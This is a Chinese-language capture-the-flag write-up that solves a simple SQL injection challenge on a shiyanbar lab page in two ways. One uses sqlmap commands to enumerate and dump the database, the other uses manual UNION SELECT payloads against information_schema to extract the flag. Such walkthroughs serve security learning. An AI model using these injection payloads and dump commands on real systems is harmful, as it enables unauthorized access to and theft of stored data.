这道题一开始点进去让人感觉有点蒙圈,不知道要考什么,后来才发现只是道简单的sql注入…这里写两种做法。
sqlmap去跑
先去看一下有什么数据库
sqlmap -u “http://ctf5.shiyanbar.com/8/index.php?id=1” --dbs
有个my_db的数据库,再去扫一下有什么表
sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db --tables
看列名
sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -T thiskey --columns
看值
sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -T thiskey -C k0y --dump
这样就能拿到flag了
---------------------------分割线
- 2、 直接用url进行注入
寻找注入点
http://ctf5.shiyanbar.com/8/index.php?id=1' 报错http://ctf5.shiyanbar.com/8/index.php?id=1 and 1=1 无报错
http://ctf5.shiyanbar.com/8/index.php?id=1 and 1=2 无报错
http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,2 有回显
通过上面四个尝试就可以知道注入点在哪里了,后台应该是接收整数进行sql查询,所以直接id=1后面就能进行注入了
首先先显示数据库有哪些
http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,schema_name from information_schema.schemata
猜测那个my_db就是要找的数据库,然后再看数据表
http://ctf5.shiyanbar.com/8/index.php?id=1 union select table_schema,table_name from information_schema.tables
看到my_db里面有一张thiskey的表,继续看一下里面的列
http://ctf5.shiyanbar.com/8/index.php?id=1 union select table_name,column_name from information_schema.columns
然后读取k0y的值
http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,k0y from thiskey
得到Flag